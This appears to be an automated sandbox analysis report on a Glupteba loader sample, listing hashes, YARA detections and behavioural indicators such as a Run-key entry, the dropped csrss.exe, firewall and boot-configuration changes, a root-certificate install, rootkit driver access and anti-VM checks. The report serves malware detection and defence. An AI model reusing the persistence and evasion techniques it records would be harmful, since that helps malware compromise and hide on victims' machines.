glupteba | 2fa88955352ab6bd80fc4d899fca8b88fb5acf6385e6df03aed0050751012a2b

Analysis

max time kernel
149s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
25/05/2026, 13:50

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General

Target
2026-05-25_a8c273ca96f688904c71b9e47536dcd2_amadey_elex_rhadamanthys_smoke-loader_stop_tofsee.exe
Size 4.6MB
Sample260525-q48myads21
SHA256 2fa88955352ab6bd80fc4d899fca8b88fb5acf6385e6df03aed0050751012a2b
MD5 a8c273ca96f688904c71b9e47536dcd2
SHA1 88ab49d572b79442ce50704a0b8f73b8d5e05a9e
SHA512 8e2ae79fb222fd2f635b0b0d44fbadf934f946acd44eeabe65edeeb6d54f27f5bbd8666a3ed1ec9388e34d83b5f4df040e7edcc4fef22b76f64b032006b87e1d
SSDEEP 98304:U7ig5wmOSnoSH3S/t1vRnuqSahehDxrNL9FRMpk:KP5wmOcoSH3Kt1xuqL0VrNHCC
TLSH
T12D3633207A80C431E6673975C977BBBC0D69343AE751E40F3EA04E3D5E283A1A7227D6
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery dropper execution glupteba loader persistence privilege_escalation rootkit spyware trojan

Malware Config

Signatures

Family: Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 21 IoCs

resource	yara_rule
behavioral1/memory/4648-3-0x0000000005A40000-0x0000000006136000-memory.dmp	family_glupteba
behavioral1/memory/4648-7-0x0000000005A40000-0x0000000006136000-memory.dmp	family_glupteba
behavioral1/memory/4648-5-0x0000000000400000-0x0000000005128000-memory.dmp	family_glupteba
behavioral1/memory/2132-14-0x0000000000400000-0x0000000005128000-memory.dmp	family_glupteba
behavioral1/memory/3172-21-0x0000000000400000-0x0000000005128000-memory.dmp	family_glupteba
behavioral1/memory/3424-22-0x0000000000400000-0x0000000005128000-memory.dmp	family_glupteba
behavioral1/memory/4588-31-0x0000000000400000-0x0000000005128000-memory.dmp	family_glupteba
behavioral1/memory/2276-32-0x0000000000400000-0x0000000005128000-memory.dmp	family_glupteba
behavioral1/memory/2660-33-0x0000000000400000-0x0000000005128000-memory.dmp	family_glupteba
behavioral1/memory/2660-34-0x0000000000400000-0x0000000005128000-memory.dmp	family_glupteba
behavioral1/memory/2660-35-0x0000000000400000-0x0000000005128000-memory.dmp	family_glupteba
behavioral1/memory/2660-36-0x0000000000400000-0x0000000005128000-memory.dmp	family_glupteba
behavioral1/memory/2660-37-0x0000000000400000-0x0000000005128000-memory.dmp	family_glupteba
behavioral1/memory/2660-38-0x0000000000400000-0x0000000005128000-memory.dmp	family_glupteba
behavioral1/memory/2660-39-0x0000000000400000-0x0000000005128000-memory.dmp	family_glupteba
behavioral1/memory/2660-40-0x0000000000400000-0x0000000005128000-memory.dmp	family_glupteba
behavioral1/memory/2660-41-0x0000000000400000-0x0000000005128000-memory.dmp	family_glupteba
behavioral1/memory/2660-42-0x0000000000400000-0x0000000005128000-memory.dmp	family_glupteba
behavioral1/memory/2660-43-0x0000000000400000-0x0000000005128000-memory.dmp	family_glupteba
behavioral1/memory/2660-44-0x0000000000400000-0x0000000005128000-memory.dmp	family_glupteba
behavioral1/memory/2660-45-0x0000000000400000-0x0000000005128000-memory.dmp	family_glupteba

Detects Windows executables referencing non-Windows User-Agents 19 IoCs

resource	yara_rule
behavioral1/memory/4648-5-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/2132-14-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/3172-21-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/3424-22-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/4588-31-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/2276-32-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/2660-33-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/2660-34-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/2660-35-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/2660-36-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/2660-37-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/2660-38-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/2660-39-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/2660-40-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/2660-41-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/2660-42-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/2660-43-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/2660-44-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/2660-45-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA

Detects executables containing URLs to raw contents of a Github gist 19 IoCs

resource	yara_rule
behavioral1/memory/4648-5-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/2132-14-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/3172-21-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/3424-22-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/4588-31-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/2276-32-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/2660-33-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/2660-34-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/2660-35-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/2660-36-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/2660-37-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/2660-38-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/2660-39-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/2660-40-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/2660-41-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/2660-42-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/2660-43-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/2660-44-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/2660-45-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL

Detects executables referencing many varying, potentially fake Windows User-Agents 19 IoCs

resource	yara_rule
behavioral1/memory/4648-5-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral1/memory/2132-14-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral1/memory/3172-21-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral1/memory/3424-22-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral1/memory/4588-31-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral1/memory/2276-32-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral1/memory/2660-33-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral1/memory/2660-34-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral1/memory/2660-35-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral1/memory/2660-36-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral1/memory/2660-37-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral1/memory/2660-38-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral1/memory/2660-39-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral1/memory/2660-40-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral1/memory/2660-41-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral1/memory/2660-42-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral1/memory/2660-43-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral1/memory/2660-44-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral1/memory/2660-45-0x0000000000400000-0x0000000005128000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
372	netsh.exe

Executes dropped EXE 6 IoCs

pid	Process
2660	csrss.exe
3172	csrss.exe
3424	csrss.exe
4792	patch.exe
4588	csrss.exe
2276	csrss.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2370214745-1838013427-2987045292-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ProudBush = "\"C:\\Windows\\rss\\csrss.exe\""	2026-05-25_a8c273ca96f688904c71b9e47536dcd2_amadey_elex_rhadamanthys_smoke-loader_stop_tofsee.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Manipulates WinMonFS driver. 1 IoCs

Roottkits write to WinMonFS to hide directories/files from being detected.

rootkit defense_evasion

description	ioc	Process
File opened for modification	\??\WinMonFS	csrss.exe

Modifies boot configuration data using bcdedit 1 IoCs

pid	Process
364	bcdedit.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	2026-05-25_a8c273ca96f688904c71b9e47536dcd2_amadey_elex_rhadamanthys_smoke-loader_stop_tofsee.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\rss	2026-05-25_a8c273ca96f688904c71b9e47536dcd2_amadey_elex_rhadamanthys_smoke-loader_stop_tofsee.exe
File created	C:\Windows\rss\csrss.exe	2026-05-25_a8c273ca96f688904c71b9e47536dcd2_amadey_elex_rhadamanthys_smoke-loader_stop_tofsee.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

defense_evasion

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	csrss.exe

Program crash 6 IoCs

pid	pid_target	Process	procid_target
2516	4648	WerFault.exe	87
652	2132	WerFault.exe	92
2060	3172	WerFault.exe	103
3180	3424	WerFault.exe	104
1296	4588	WerFault.exe	118
1624	2276	WerFault.exe	120

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csrss.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csrss.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csrss.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-05-25_a8c273ca96f688904c71b9e47536dcd2_amadey_elex_rhadamanthys_smoke-loader_stop_tofsee.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-05-25_a8c273ca96f688904c71b9e47536dcd2_amadey_elex_rhadamanthys_smoke-loader_stop_tofsee.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csrss.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csrss.exe

Modifies data under HKEY_USERS 40 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	csrss.exe

Modifies system certificate store 2 TTPs 1 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	csrss.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1892	schtasks.exe
456	schtasks.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
4648	2026-05-25_a8c273ca96f688904c71b9e47536dcd2_amadey_elex_rhadamanthys_smoke-loader_stop_tofsee.exe
4648	2026-05-25_a8c273ca96f688904c71b9e47536dcd2_amadey_elex_rhadamanthys_smoke-loader_stop_tofsee.exe
2132	2026-05-25_a8c273ca96f688904c71b9e47536dcd2_amadey_elex_rhadamanthys_smoke-loader_stop_tofsee.exe
2132	2026-05-25_a8c273ca96f688904c71b9e47536dcd2_amadey_elex_rhadamanthys_smoke-loader_stop_tofsee.exe
3172	csrss.exe
3172	csrss.exe
4588	csrss.exe
4588	csrss.exe
2660	csrss.exe
2660	csrss.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	4648	2026-05-25_a8c273ca96f688904c71b9e47536dcd2_amadey_elex_rhadamanthys_smoke-loader_stop_tofsee.exe
Token: SeImpersonatePrivilege	4648	2026-05-25_a8c273ca96f688904c71b9e47536dcd2_amadey_elex_rhadamanthys_smoke-loader_stop_tofsee.exe
Token: SeDebugPrivilege	3172	csrss.exe
Token: SeImpersonatePrivilege	3172	csrss.exe
Token: SeSystemEnvironmentPrivilege	2660	csrss.exe
Token: SeDebugPrivilege	4588	csrss.exe
Token: SeImpersonatePrivilege	4588	csrss.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
